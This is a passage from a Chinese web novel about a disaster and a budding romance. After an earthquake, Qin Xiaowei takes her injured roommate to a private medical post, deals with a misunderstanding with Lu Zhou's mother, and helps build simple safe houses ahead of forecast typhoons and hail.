上车后，肖琳琳就掏出了手机：“薇薇，我和其他人打听了一下，人民医院已经全塌了，但是他们在医院外面设了医疗点，我们可以过去碰碰运气；还有第五医院，听说他们医院破坏得不是很严重……” 秦小薇：“这几个医疗点肯定都要排队，我们去别的地方。” 重新回到陆昼住的小区后，秦小薇开车直奔小区里的广场，小区里的住户虽然不如其他的地方多，但这里也设置了一个医疗点，且医生护士全都在正常上班……虽然这里并没有多少病人！ 因为有陆昼在，他们很顺利地把段霞送进了医疗点，段霞一进去，就有一大群医生护士围着她转…… 秦小薇正想问陆昼去哪里缴费，一回头，就看到他被一大群人围了起来，要不是他长得高，秦小薇都看不到他的脑袋！ 秦小薇：他在他们小区这么受欢迎吗？不知道的，还以为他是什么正在接受采访的明星呢！ 见他似乎应对得游刃有余，秦小薇就没管他，找护士问了缴费的问题，护士给她指了个地方，交钱的时候，秦小薇意外地发现，竟然只花了一百多。 这么高档的小区，这个价格合理吗？ 之后，就是等医生的检查结果了。 帐篷里没有坐的地方，秦小薇和肖琳琳便站在帐篷的角落里等着，把段霞交给医生护士之后，肖琳琳总算是松了口气，也有心情关注其他的事了。 肖琳琳：“薇薇，你刚刚开的那辆车怎么和之前的不一样？那个男的是谁啊？我怎么觉得他好像有点眼熟？” 秦小薇：“他也是我们Q大的，这几天和我一个营地，他有医院的人脉，我想着阿霞的事他能帮忙，就拜托他和我一起过来了……刚刚你也看到了，他一直在接电话，我觉得他边打电话边开车不安全，就和他换了位置。” 她没聊太多和陆昼相关的事，很快就转移了话题：“那个砸了阿霞头的女人现在怎么样了？送警察局了吗？” 肖琳琳果然被她转移了注意力：“送了，和她老公一起去的，不过警察局也塌了，不知道他们之后会怎么样……” 秦小薇安慰她：“现在和暴雨之前不一样，这种事抓到就是重判，他们夫妻俩肯定不会好过的！” 第72章 第72章误会（双更合一） 可能是因为医疗点现在没什么病人,检查结果很快就出来了。 检查结果显示，段霞没什么事，后脑勺只是皮外伤,等她醒了医生再给她做个检查,要是没有其他的症状,她就可以离开了。 听到医生的话，秦小薇和肖琳琳都松了口气。 段霞躺在病床上,脑袋上包着一圈纱布,似乎是担心她从病床上摔下来，医生还把床两侧的护栏都拉起来了。 肖琳琳搬了个凳子在病床边坐下：“这医疗点的环境真好,医生护士的服务态度也好……哎，这里病人这么少，医药费也便宜,怎么不见其他人过来看病？” 秦小薇：“这个医疗点只为小区里的住户服务,其他人进不来的。” 肖琳琳的关注点有点偏：“啊？那这里的房价得多贵啊！” 秦小薇：“估计是有价无市。” 范槿也知道了段霞的事，一直在群里关心段霞的情况，从医生那得知段霞没有生命危险后,两人都第一时间回复了她。 【秦小薇：饭饭，阿霞应该没事了,医生说等她醒了,没有其他的症状就可以回去了。】 【范槿：太好了！】 【范槿：你们去的是哪家医院？怎么处理得这么快？我爸昨天去看腰痛，从早上等到傍晚，才拿到药。】 【秦小薇：找了营地认识的一个人帮忙,在一个不对外开放的私人医疗点处理的。】 【范槿：……宁市现在还有这种地方？】 【秦小薇：我之前也以为没有……】 因为不确定段霞什么时候醒，秦小薇打算先把陆昼送回营地，再折回来陪她们。 帐篷外面，陆昼依旧被众人围着,大家都在和他打听，地震过后，宁市什么时候能恢复正常，陆昼打着官腔，说了一堆废话文学，半点消息都没透露……秦小薇冲着他晃了晃车钥匙，他才从人群中出来。 陆昼：“事情解决了？” 秦小薇：“差不多了，我先送你回去，待会再回来。” 他今天看起来挺忙的，之前一直在处理预警中心的工作，占用他的工作时间，让他在这里浪费时间，秦小薇总觉得心里不踏实…… 陆昼点点头，没有拒绝她的好意。 走了没两步，秦小薇就听到一阵惊呼，她顺着声音看过去，就见一个年轻女人抱着脑袋蹲下了，说她头疼。 同时，周围的人也发出了一阵骚动。 “别聊了，余震要来了！” “快蹲下！” “那边那个小姑娘，别站在楼下！” “……” 秦小薇不明所以，但也跟着众人一起找地方蹲下了，片刻之后，她手机的地震预警响了。 秦小薇：“……难道你们有钱人，收到的地震预警都比我们普通人早？” 陆昼正要解释，边上一个中年男人就指着刚刚说头疼的女人开口道：“没这回事，我们一看麦虹的反应，就知道余震要来了，医生说她可能是身体受到磁场的影响，还有什么内耳的前庭系统受到干扰，外加感知混乱，地震之前头晕头疼，地震来了，她就跟晕车似的想吐……” 秦小薇顺着中年男人手指的方向看过去，果然，那个女人开始吐了！ 秦小薇：好神奇，这不就跟地震雷达似的？ 这波余震并不严重，几十秒就结束了，秦小薇去帐篷里看了下肖琳琳和段霞，见她们都没事，才和陆昼开车离开。 秦小薇有些好奇医疗点的费用问题，便问陆昼：“我看阿霞今天做了好几项检查，还换了药，怎么只花了一百多……” 陆昼：“小区里有人是混医疗行业的，医疗设备和药品都是他们捐的，医生护士的工资都由物业出，诊所没有盈利压力，只收个操作费，当然便宜。” 秦小薇：“物业出医生护士的工资？那你们每个月得交多少物业费？” 陆昼报出了一个数字。 秦小薇忍不住倒吸一口凉气。 这也太贵了吧！感觉就算买得起这里的房，也不一定能住得起…… 回营地之前，她问陆昼：“你们的房车需要补充物资吗？要不要我拿点物资让你带回去？” 陆昼摇头：“不用，车里的东西够吃。” 到了营地后，秦小薇正想把车钥匙还给他，下车换自己的车，陆昼却拦住了她：“你开我的车回去吧！我的车牌在物业登记过，进出小区比较方便……” 想到他们小区的安保，秦小薇犹豫了一下，还是答应了。 陆昼下车前，她有些别扭地开口道：“那个，今天谢谢你啊！” 他下车的动作顿住，转过头，上下打量着秦小薇，像是在看外星人似的：“真是稀奇，没想到有生之年，我还能从你嘴里听到‘谢谢’两个字？今天太阳要从东边落下了吗？” 秦小薇闭了闭眼，皮笑肉不笑道：“你今天帮了我室友，我就不和你计较了，滚下车吧！” 看到她脸上的表情，陆昼瞬间拉响警报，他飞快打开车门下了车：“晚上要是回不来，就去找老唐，让他给你安排地方休息！” 秦小薇注意到，陆昼下车后，房车那边的人似乎都在看他，她也没在意，重新启动车子离开了。 段霞这一昏迷就是一天，她醒的时候，天已经完全黑了。 见她醒了，秦小薇立刻去找医生，一番检查过后，医生给出诊断结果，说她只是后脑勺受了点皮外伤。 医生说头皮血运丰富，受了伤也很容易愈合，只要按时换药，她的伤几天就能好。 唯一的问题，大概就是，医生为了给她处理伤口，剃了她脑袋上一片头发，等纱布拆了，她得戴一段时间帽子…… 肖琳琳：“还好你没事，阿霞，你不知道，你早上真的吓死我了！” 秦小薇：“阿霞，下次记得戴个安全帽，既能预防高空坠物，还能保护脑袋……” 段 霞：“……好。” 医疗点并没有几个病人，医生护士也就没有催她们离开，隔壁还有几间空置的“病房”，问过值班的医生护士后，两人打算在空置的病床上将就一晚，秦小微也就没去找唐医生安排住处。 可能是因为习惯了时不时就来一波余震，再加上这个营地的帐篷比较分散，比Q大那边安静很多，再加上床两侧有护栏拦着，再怎么晃都不会掉下去，晚上的时候，秦小薇几乎没怎么醒。 肖琳琳和段霞也难得睡了个好觉。 肖琳琳伸了个懒腰：“这高档小区就是不一样，就连睡帐篷都比外面舒服！” 秦小薇提醒她：“咱们昨天虽然睡在帐篷里，但都躺在床上……也不算睡帐篷。” 肖琳琳：“唉！我想念我的床了，地上真的太硬了，就算垫着垫子，也不舒服，我这几天也开始腰疼了……不知道这次灾难要多久才能恢复？” 秦小薇：“官方都出动军队了，这次肯定很快就能恢复！” 肖琳琳：“希望吧！” 简单聊了几句，又把被她们睡乱的病床收拾了一下，秦小薇三人才离开。离开前，她还找医生开了些纱布、碘酒，让肖琳琳拿回去帮段霞换药，省得之后来回跑不方便。 她们三个都是体育生，之前训练的时候偶尔也会受伤，处理一些简单的外伤完全不在话下。 把段霞她们送回去之后，秦小薇就开车回营地了。 她刚下车，拉布拉多就跑了过来，用尾巴抽她的小腿以表欢迎。 秦小薇：“香肠，你冷静点！” 安抚完拉布拉多，秦小薇才朝着房车的方向走去，她正准备把车钥匙递给外面的保镖，让他们代为转交给陆昼，就见房车边上的帐篷里走出来一个中年女人。 她长得很漂亮，就算穿着运动服，也依旧掩盖不了她身上那股温婉的气质，秦小薇知道，她应该就是陆昼的妈妈了。 因为对陆昼的家人心怀警惕，再加上秦小薇每天早出晚归，晚上一回来就待在帐篷里，虽然他们当了好几天的邻居，但除了那次陆昼的外公主动过来找她说话，她一次也没和陆家人打过交道。 看到秦小薇后，女人的眼睛一下子亮了：“你来找小昼吗？” 秦小薇：“我来还车钥匙，方便的话，您代为转交就……” 她的话还没说完，女人就朝着另一顶帐篷的方向喊了一声：“小昼，你快出来，你女朋友来找你了！” 秦小薇：？？？ 女什么？什么朋友？陆昼这家伙是不是在外面偷偷抹黑她的名声了？ 秦小薇瞬间拳头硬了！ 喊完之后，女人又转头看着秦小薇，眼神亲切：“我是陆昼的妈妈，你叫我阿姨就行了！听陆昼说，你叫秦小薇，我可以叫你小薇吗？” 秦小薇没理会她的问话，飞快解释道：“您误会了，我不是陆昼的女朋友，我和他只是认识而已，我现在单身。” “单身”两个字，她刻意加重了音量。 陆妈妈却好脾气地点点头：“好好好，你们还不是男女朋友，是阿姨说错了！前几天的饭菜还合你的胃口吗？我和他奶奶也不知道你喜欢什么口味，问小昼那孩子他也不说，我们就随便做了点……” 秦小薇有种，解释了，但是对方完全没听进去的感觉…… 她有些惊讶：“那些饭菜，都是您做的？不是陆昼做的？” 陆妈妈笑得更开心了：“我和小昼都是和他奶奶学的手艺，你是不是没吃出来差别？他最近忙得很，我们就没让他插手厨房的事……” 秦小薇觉得，这个话题再聊下去，就要越描越黑了。 正在这个时候，陆昼从帐篷里出来了，她立刻走了过去，把车钥匙递给他：“还给你。” 紧接着，她又飞快丢下一句“我还有事”，就急匆匆地离开了。 走之前，她还不忘递给陆昼一个杀气腾腾的眼神。 见她一副要找自己干架的模样，陆昼的身体比脑子反应更快，下意识后退了两步。 秦小薇走远之后，还能听到两人的对话。 陆妈妈：“你这孩子，怎么跟个木头似的？也不知道送送人家？” 陆昼：“妈，我和她没关系，你就别乱点鸳鸯谱了！” 陆妈妈：“你就别狡辩了，你妈我是过来人，看得清清楚楚，你对那姑娘的态度不一般……” 陆昼：“我……” 一天没回来，她的帐篷却还是原来的模样，里面的东西，没有多也没有少。 秦小薇进帐篷里换了套贴身的衣服，又上同城APP上查看了一下宁市最新的消息，就开着车离开了。 还是出去和其他人一起干活吧！ 留在营地，陆家人说不定会过来找她聊天……虽然他们目前没表现出任何恶意，甚至看起来还挺好相处的，但想到陆昼之前干的那些事，秦小薇就不想和他们产生太多的交集。 最好是能和他们当一辈子陌生人！ 晚上回来以后，陆昼又给她送饭了，知道陆妈妈的意图后，秦小薇不想接受他的饭盒，但他放下饭盒就走了，根本不给她拒绝的机会。 秦小薇拿出手机，给他发消息。 【秦小薇：你别再给我送饭了，我俩没可能的！】 【陆昼：你以为我想送？】 【陆昼：我妈和我奶奶都在兴头上，根本拦不住……估计得等看不到你了，她们才能消停下来。】 【秦小薇：我忽然有点后悔，搬到这来。】 【陆昼：我也挺后悔让你搬过来的。】 【陆昼：你想吃就吃，不想吃就拿个盒子装着放仓库里，以后我自己吃。都是我妈和我奶奶辛苦做的，你别扔了。】 秦小薇想了想，还是没动那份晚餐，选择吃仓库里的储备粮。 她以前以为是陆昼有事求自己，才每天给她送饭，她也吃得心安理得，现在知道那是陆妈妈给未来儿媳妇准备的“爱心晚餐”，她根本就下不去嘴。 感觉吃下去以后会消化不良！ 【秦小薇：知道了，都给你留着，我不会动的！】 接下来几天，秦小薇依旧是早出晚归，生活十分规律，中途，她还抽空去看了几次段霞。 和医生说得差不多，她后脑勺的伤口愈合得很快，除了伤口偶尔会有些痛，她也没有其他的症状…… 因为大家都在努力“修路”，各个交通关口都被打通了，秦小薇觉得，等那些拦路的帐篷都撤了，宁市的交通大概率能恢复原状了……不过房屋什么时候能重建，就不好说了。 毕竟这次毁坏的建筑实在是太多了。 这天早上，陆昼过来“送早餐”的时候，提醒了她一句：“今天别出门了，早上会发新的预警短信。” 秦小薇瞬间明白过来，预警中心要公布台风和冰雹的消息了。 她点点头，表情也变得严肃起来。 上午，吃完早饭后，秦小薇就在帐篷里守着手机，九点整的时候，手机连着“叮叮叮”好几声，预警中心的短信接连跳了出来。 和之前差不多，短信先是预告了台风和冰雹的消息，之后又针对普通人该怎么应对极端天气，给出了许多建议。 最后一条短信，是专门告知市民，市政这几天会在省内各个地方建立简易安全屋，希望市民们能积极配 合，出人出力，共渡难关…… 虽然早就知道预警短信的大概内容了，秦小薇还是把短信从头到尾看了好几遍。 看完预警短信后，她上网搜了搜，发现国内其他省市，也发了预警短信，只不过内容各不相同。 有些只有冰雹预警；有些只有台风预警；还有些“幸运城市”，这两样都没有，等地震过去，就可以开始重建家园了；还有些“超级幸运城市”，大地震发生时，只损伤了一点“血皮”，等地震过去，就可以恢复正常生活了…… 不过后两者都是少数。 国内大部分城市，都和宁市一样，既有冰雹，又有台风。 海上已经形成了七个台风眼，有五个会对他们国家产生影响，搜索它们的名字，就可以在网络上看到实时云图，了解台风的具体位置和等级…… 官方还对台风的路径进行了预测，不过专家也说了，这次同时出现了七个台风，它们会互相影响，有可能还会融合，预测的路径不一定准，超级计算机会根据实际情况做出调整…… 冰雹还好，找个地方躲着就行了，但台风的破坏力不容小觑，超强台风可能会把房子掀起来。 像Q省这种内陆地区，周围有山脉作为缓冲，台风到的时候，等级应该就没那么高了。 但沿海地区就不一定了，台风通常在登陆前达到最高等级，此时破坏力也是最大的，沿海地区必然会遭受毁灭性的打击。 因此国内很多沿海城市，并不打算安装简易安全屋，市政已经开始组织市民，往内陆地区转移了。虽然现在国内依旧余震不断，出行也不方便…… 同城APP上的帖子也刷得飞快，大家都很担心，预警短信里的简易安全屋，能不能抗住台风和冰雹？ 现在依旧余震不断，安全屋安装好之后，会不会被余震震塌？压伤里面的人？或是被余震破坏，变得没那么结实……还有人担心，时间这么短，简易安全屋真的能全部完工吗？ 不过市政很快就发布了公告，肯定了简易安全屋的安全性，同时还保证，市政会尽力保障每一个市民的生命安全。 网络管控依旧十分严格，扰乱人心、乱带节奏的帖子，基本上在审核阶段，就被直接删除了…… 秦小薇上网看了一圈，有种吃了颗定心丸的感觉。 宁市既然能平安度过大地震，肯定也能平安度过接下来的冰雹和台风…… 短信里号召市民帮忙修建简易安全屋，秦小薇也想去，不过看同城APP上的消息，现在还没开始，她便打算先等等。 室友们也在寝室群里聊台风和冰雹的事。 【范槿：怎么还有冰雹和台风啊？那我和我爸妈辛辛苦苦保存下来的这些家当，还能留得住吗？】 【范槿：我妈陪我爸去医疗点了，说要再去开点膏药，后面估计还得继续睡地上，我妈怕我爸的腰撑不住。】 【肖琳琳：不知道一间安全屋会塞几个人？希望不要太挤！】 【段霞：我工作的那家钢材厂，生产的好像就是简易安全屋……那屋子大概和我们学校宿舍差不多大，我猜塞七八个应该就差不多了！】 【范槿：那也很挤吧！我们寝室之前住四个人，我都觉得不怎么宽敞……】 【秦小薇：饭饭，你要不要找辆车，把帐篷里的东西拉来健身房？我住的公寓楼没塌，就外墙掉了一些瓷砖，健身房这段时间估计也没办法开门营业，我可以做主借点地方让你放东西，老板不会知道的。】 【范槿：真的吗？公寓楼没塌？】 【秦小薇：我昨天去外面铲土的时候路过那边了，确实没塌，除了公寓楼，附近的商场以及Q大很多建筑也都保留下来了，我觉得到时候应该会安置很多市民过去。】 【肖琳琳：那我希望我能被安排过去！我觉得还是住在屋子里更安全！】 【范槿：行，那我先联系车！这两天余震没那么频繁了，上楼应该没什么危险……】 【秦小薇：你联系好了告诉我，到时候我去给你开门。】 待在营地也没什么事，秦小薇想了想，打算回公寓看看，要是房子玻璃碎了，或是出了其他什么问题，现在还可以想办法搞点材料修一修。 反正她有农场空间，手机的地震预警也一直开着，要是有危险，她可以随时躲进空间里。 虽然官方说简易安全屋可以扛过冰雹和台风，但秦小薇还是觉得，铁皮盒子没有实实在在打了地基、钢筋水泥建造的房子安全，而且她住的公寓还是陆昼这个重生者盖章认定过的。 所以台风天的时候，秦小薇还是希望她的员工和室友能搬来公寓“避难”。 公寓楼空空荡荡的，虽然房子没有塌，但是住户却不敢留在里面，全都搬去附近的帐篷里住了。 第73章 第73章安全屋（双更合一）…… 秦小薇没有坐电梯,她步行上了楼，健身房之前装修的时候，就考虑了地震的问题,里面的健身设备大多都固定在地上,轻易不会移位,加上这些设备大多都很重，所以健身房的情况还可以,并不乱。 但她住的公寓,浴室却是一片狼藉。吊顶的金属骨架还在，但吊顶上由卡扣固定的铝扣板却掉了不少在地上,洗脸台上面的镜子也被掉落下来的铝扣板砸成了蜘蛛网…… 秦小薇检查了一下，一部分铝扣板有点变形，不过用锤子敲一敲,应该还能继续用…… 因为之后还有余震,铝扣板装上去之后可能还会掉，秦小薇也就没急着收拾浴室。 家里其他地方，除了掉了点墙皮,基本上没有其他的损失。 她之前买的腻子粉还剩了不少，之后抽时间把墙重新刷一遍就好了。 秦小薇又去楼上的员工宿舍看了看,楼上的情况比楼下严重一些,不仅厨房的吊顶塌了，阳台外面的防盗窗也被震掉了，得重新找人过来焊防盗窗,否则被冰雹一砸，公寓就要变成“露天”的了…… 楼上楼下逛了一圈，秦小薇记下需要处理的地方，就下楼了。 她下楼找到楼上掉下来的防盗窗,放到车上，准备过两天找人过来焊接…… 之后，她就回营地了。 秦小薇不想和房车那边的人有太多的接触，一回营地，她就进帐篷里了，还拉上了帐篷的拉链，一副不想和其他人接触的社恐模样。 她拿出手机，趴在帐篷的防潮垫上，开始玩小游戏，玩了一会儿，拉布拉多忽然在外面用狗爪子扒拉她的帐篷。 秦小薇拉开拉链：“饭盒我早上就送回去了，今天不用你送饭盒了。” 拉布拉多哼哼唧唧地用脑袋拱她和帐篷帘子中间的空隙，想要进帐篷里。 秦小薇用手指抵住它的脑袋：“别撒娇，我可不是陆昼，不吃这套。” 拉布拉多依旧在哼哼唧唧。 秦小薇拍了张照片，发给陆昼。 【秦小薇：陆昼，你的狗走丢了，快来领回去！】 【秦小薇：[图片]】 她等了一会儿，才等到他的回复。 【陆昼：在开会，等我半个小时。】 彳亍口巴！ 秦小薇拿出湿巾，把拉布拉多的狗爪子擦干净了，才允许它进自己的帐篷。 秦小薇：“你 自己待着啊！别打扰我玩游戏！” 说着，她又趴充气垫上面玩手机了。 “汪呜——”拉布拉多却不安分，一直用脑袋拱她的脖子。 “哎呀，你挡到我了——”秦小薇推开它的脑袋，但香肠一直把脑袋凑过来，害得她连输了两局游戏。 秦小薇气得直戳它的脑袋：“你们那边那么多人，你怎么非得来霍霍我？” 香肠一点都不怕她，甚至还吐着舌头，看着她笑。 一人一狗对峙了一会，拉布拉多忽然跑了出去，见它去的是房车的方向，秦小薇轻轻呼出一口气。 可以专心打游戏了！ 但没过一会，它又叼着它的玩具跑回来了，还非要把玩具塞到秦小薇手里，让秦小薇陪它玩…… 秦小薇：“……” 她没办法，只能拉开帐篷的帘子，把它的玩偶扔了出去，和它玩“接飞盘”的游戏。 拉布拉多立刻开心地蹿了出去…… 秦小薇抛了快半个小时的玩偶，陆昼终于来接它的狗了，她真诚建议道：“陆昼，我觉得你该遛狗了！” 香肠来来回回跑了快半个小时了，精力还这么旺盛，甚至越玩越兴奋……秦小薇合理怀疑，它是这些天被陆昼管着，一身精力没地方发泄，憋狠了。 陆昼：“香肠最近没班上，确实有点闹腾。” 秦小薇：“行了，把你的狗接走吧！” 拉布拉多不想回去，蹲坐在原地不愿意离开，陆昼也没惯着它，提着它后脖颈上的皮毛，就把它带回去了。 “呜——”拉布拉多发出一阵委屈的呜咽。 陆昼：“别委屈了，晚点再带你出来玩！” 稍晚一些的时候，秦小薇在网上看到了官方公布的简易安全屋的安装教程，视频可以说是手把手教学，讲得非常详细，不过时间有些长，有一个多小时。 一间比宿舍稍微大一些的简易安全屋，竟然要塞9个人！ 为了增加活动空间，里面的人睡觉都得“挂”在墙上——床是从墙体上延伸出来的，一面墙“挂”三个人，屋子中间是他们的活动空间。 因为几乎把空间利用到了极致，单看网上的模型，简易安全屋里的住宿环境似乎比之前临时避暑点的住宿环境要好很多…… 但为了安全，简易安全屋是没有玻璃窗的，上面只有几个小窗用于通风，现在到处断电，里面连个灯都没有……秦小薇觉得，一直待在黑暗的环境中，又没什么娱乐活动，和关小黑屋也没什么区别了。 下午的时候，秦小薇在寝室群里看到，宁市关于应对冰雹和台风天的住房分配出来了。 分配结果是根据上次分帐篷的名单来的，只不过是把某几个帐篷里的人合并，让他们住到同一间简易安全屋里…… 因为大家都聚集在营地里，再加上有些人的手机已经断电了，房子的分配是由市政和社区的工作人员一顶顶帐篷现场通知的，像秦小薇这种自己从营地搬出来的，自然也就没接到通知。 不过她也没打算和大家一起挤简易安全屋，也就没在意了。 秦小薇从群里得知，范槿一家和邻居一起分去了简易安全屋。肖琳琳和段霞，因为离Q大比较近，被分去了Q大的宿舍楼。 好消息是她们不用住没那么结实的铁皮房子，坏消息是原本只住四个人的宿舍，现在要挤14个人。 收到消息后，两人就在群里吐槽这件事。 【肖琳琳：寝室那么屁大点的地方，怎么塞得下14个人？到时候怕不是得把人架起来才能睡得下……】 【范槿：14个人？估计到时候厕所都得睡两个人……】 【段霞：唉，我们到时候和其他人商量一下，看看能不能轮流睡床。】 【肖琳琳：想想以后的居住环境，我就觉得绝望……】 秦小薇打开健身房的员工群，在群里发了条消息。 【秦小薇：公寓楼非常幸运地在地震中保存下来了，老板在健身房楼上为大家准备了员工宿舍，是六人一间的上下铺，想要搬去宿舍的可以联系我！】 消息刚发出去没多久，秦小薇就接连收到员工们的私信，就连肖琳琳也给她发了消息。 【肖琳琳：薇薇，我应该也算健身房的员工吧？我可以申请搬进员工宿舍吗？】 【肖琳琳：猫猫探头.jpg】 回复完其他员工的消息，秦小薇才回复肖琳琳。 【秦小薇：可以，你让阿霞也一起来吧！不过员工宿舍没那么多床，她得在健身房打地铺睡瑜伽垫。】 【秦小薇：或者她也可以去废墟里找找有没有旧家具，自己拼张床，或是去网上收一张床。】 【肖琳琳：没事，那也比住寝室舒服，至少地方够大，健身房的垫子还那么厚……】 傍晚的时候，范槿说她妈妈联系到车了，秦小薇特地开车去了趟公寓楼开门，和范槿他们一起，把他们好不容易保存下来的家当搬去了健身房。 之前范槿发照片过来的时候，秦小薇就知道，他们从家里搬了不少东西出来。事实也是如此，范妈妈找的是小卡车，他们的东西装了大半车，人在后车斗都得缩手缩脚，才能坐得下…… 除了这些，他们还送了一部分家当，去范槿乡下的大伯那。 不仅是他们，其他普通人在地震发生之前，也都想各种办法尽量保存下家里的东西，毕竟那些东西都是他们用真金白银买回来的，谁花的钱谁心疼。 房子他们是没办法挪动，只能眼睁睁地看着它被地震震塌，其他的东西多保存下来一点，他们的损失也少一点。 因为一直睡帐篷，范爸爸腰痛的老毛病这半个月一直反反复复，几人没敢让他动手，只让他在楼下看着车，搬东西的活，是秦小薇、范槿、范妈妈，还有范妈妈找的两个师傅干的。 东西搬完之后，范妈妈拉着秦小薇的手好一顿感谢：“小薇，真是多亏了有你，要不然这堆东西，我们都不知道往哪里送……” 这几天的余震的等级都不高，所有人都默认，现在房子还没塌，之后大概率也是不会塌的。 秦小薇：“阿姨，举手之劳而已，您不用太客气！” 因为第二天早上大概率会很忙，秦小薇晚上很早就睡了。 第二天早上，她准备开车离开营地的时候，发现后面还跟着一辆房车，她到地方准备下车帮忙安装简易安全屋的时候，后面的房车也停了下来，陆昼带着七八名保镖从房车里走了出来。 因为他们的房车太过醒目，一时间，吸引了周围不少人的注意，不少人都看着他们的房车目露羡慕。 陆昼也朝着地上堆放的钢材来了，秦小薇很快和他打了个照面，她有些好奇：“你今天不用忙工作了？” 陆昼：“这几天的工作重点就是解决市民的住房问题，不仅是我，其他部门的人这几天也得出来干活。” 秦小薇：原来是公务啊！ 现场还有工程兵，他们已经在给过来帮忙干活的普通市民分配工作了，为了增加熟练度，基本上每个市民分到的工作都是固定的。 可能是因为秦小薇是女生，工程兵给她安排了一个拧螺丝的活，大概就是把两片钢材固定起来，然后让其他人拼装到安全屋上面，工作很简单，她很快就上手了。 就是戴着手套干活有点不太方便，总觉得手指都没那么灵活了…… 陆昼和他的保镖们被分去打地基了，虽然有工具，但这也算是体力活了。他们得先利用工具打孔，然后用半米长的超大号螺丝把简易安全屋固定在未完全损坏的水泥地上。 可能是因为之前就在秦小薇的空间里干过这活了，陆昼干活的动作非常熟练，速度甚至和在场的工程兵差不多，秦小薇还听到有人问他，之前是不是干工程的…… 秦小薇：怎么不算呢？他之前可是一个人把她空间里那一大片牲畜棚给拼好了…… 上午十点多的时候，众人手机里的地震预警忽然响了起来。 “散开！都散开！退到那边去！不要挤在钢材边上！”工程兵立刻指挥众人散开。 可能是因为这些天已经经历过无数次余震了，大家的动作都很快，现场没人受伤。 余震的等级不高，但堆在地上的钢材被震散了，秦小薇不久前才拧好的螺丝，接口处被散落的钢板压弯了九十度，就连已经在地上固定好的钢板也倒了好几块…… 工程兵们的态度很积极，一直在鼓励大家，不仅如此，他们自己手上的动作也没停。 秦小薇找了个老虎钳，把压弯的接口掰了回来，虽然不知道会不会影响房子整体的牢固度，但现在，也只能将就着继续用了，毕竟工 厂都停工了，要是把东西报废了，也没办法补充…… 简易安全屋的拼装确实不难，再加上现场很多人，不过一个上午，这边就有一大片帐篷被简易安全屋替代了。 和秦小薇之前在视频里看到的差不多，因为几乎把空间利用到了极致，所以屋子正中央的活动空间不算小。 就是睡觉的空间有点小，人在床上坐着，只能勉强挺直腰，个头稍微高一点，就会撞到上铺的床底……不过和即将要挤14个人的宿舍相比，这边的住宿环境还是要好很多的，但同时，这边的安全性也不如宿舍。 只能说是有利有弊吧！ 中午余震来的时候，有间屋子还是被震塌了，里面还压了一个人，好在现场人多，之前他们也把路清出来了，伤员很快就被工程兵送去了附近的医疗点…… 有些人担心重蹈那位伤员的覆辙，就算看到自己分到的简易安全屋建好了，在余震彻底结束之前，他们也不敢住进去。 十一点五十的时候，秦小薇觉得胳膊有点酸，便没再继续，准备回车上休息一下，吃个午饭，再继续干活。 工程兵并没有给他们发手套，她戴的手套是自己的，是一副她拿来压箱底的旧手套，干了这么多天活，手套的磨损已经非常严重了，秦小薇打算干完这几天，就把它扔了。 秦小薇摘下手套，随意地扔在一边，她刚从“背包”里拿出午饭，另一边的车玻璃就被人敲响了，是陆昼。 秦小薇打开车门：“有事？” 陆昼直接上了副驾驶：“来你这吃个饭。” 秦小薇：？？？ 秦小薇有些警惕地看着他，她怎么不知道他们的关系已经好到可以一起吃饭了？ 陆昼：“我之前给你送的饭呢？” 秦小薇：原来是这个意思！ 她松了口气，从“背包”里拿出一份饭递给他：“够了吗？不够我这还有！” 陆昼：“够了。” 可能是看秦小薇个子高，又是体育生，陆妈妈给她准备的饭菜，都是按照陆昼的饭量准备的，他吃一份刚好能吃饱。 两人坐在后车座，前面有座椅挡着，两边的车窗都贴了防窥膜，他们也不用担心有人看到他们在吃什么。 秦小薇吃的是自己准备的饭团，超级大一个，她觉得有点噎，吃到一半，她又从背包里拿了瓶牛奶出来，一边喝牛奶一边吃。 陆昼见状，直接朝她伸手：“给我一瓶水。” 秦小薇：“现在拿水不方便，牛奶行吗？” 陆昼：“嗯。” 过了一会儿，秦小薇忽然拽了下陆昼的袖子，示意他看前面的房车：“你的保镖是不是在对着我们拍照？” 陆昼顺着她的视线看过去，就见一个保镖飞快收起手机，转过身去。 陆昼有些头疼地揉了下脑袋：“估计是在给我爸妈他们打小报告……” 秦小薇有些无语：“你们家这么有钱，你又在预警中心当部长，怎么着也该找个对你前途事业有帮助的另一半吧？他们怎么会看上我？” 虽然她自认为条件不差，长得也算好看……但她的帐篷和车，一看就和他们家条件不匹配，她还表现得没什么礼貌，当了这么多天“邻居”，吃了他们这么多顿饭，连个感谢的话都没上门说过。 秦小薇真的不能理解，陆妈妈是怎么做到，给自家人做饭的时候，还坚持给她也做一份的。 换成她自己，以后她儿子要是找了个这样的，她绝对要让他们分手！ 陆昼：“我们家不搞联姻那一套，除了我大伯，都是自由恋爱，家里人对我未来伴侣只有一个要求……” 秦小薇好奇：“是什么？” 陆昼：“是个女的就行。” 秦小薇：“……那符合条件的人还真不少，你可以慢慢挑。” 吃完了午饭，秦小薇把陆昼赶下车，自己则放平了后座的座椅，打算休息半个小时，再出去干活。 她一直干到傍晚太阳落山，才和陆昼他们一起，开着车前后脚回营地。 白天干活的时候，众人碰到了不少问题，但工程兵一直在边上鼓励他们，大家也在互相打气，被周围的氛围影响，所有人都干劲十足，遇到了困难也都一直在想办法积极解决…… 白天的时候，范槿她们三个也都没闲着，也都去帮忙了。 据范槿说，社区的人说了，现在工期很紧，帮忙干活的可以优先分配安全屋，没出力的，就最后分，或是等地震结束了，他们自己顶着冰雹台风，自己把屋子搭起来。 还说什么军队就这几天会帮忙，等天灾来了，军队就会撤离到安全的地方去，到时候他们不仅要自己干，还没人指导他们……反正就是一通甜枣加大棒，把所有能用得上的人都动员起来了！ 就连范爸爸，也忍着腰痛，帮忙拧了一天的螺丝。 但全市数百万市民一起努力，效果也是喜人的，不过一个白天过去，宁市的简易安全屋，就搭好了一半。 秦小薇停好车，就见陆妈妈堵在房车的车门口，在和陆昼说什么。 她没在意，直接钻进帐篷里了，过了一会，她收到了陆昼的消息。 【陆昼：我和我妈撒了个谎，说你有男朋友了，她要是找你确认，你别说漏嘴了。】 【秦小薇：？？？】 【秦小薇：你没事吧？】 【陆昼：我妈非要我叫你一起吃饭，还要把家里人都介绍给你认识。】 【陆昼：你是想和他们一起吃饭，还是想有个根本不存在的男朋友？】 【秦小薇：……】 【秦小薇：行叭！要是你妈问我，我会好好编的！】 秦小薇想了想，这样似乎也挺好，她和陆昼之后肯定还会有接触，要是一直被他的家人误会成是他的女朋友，她其实……还有点膈应！ 反正为了掩盖空间的事，她之前也没少撒谎，也不在乎多这一个了！ 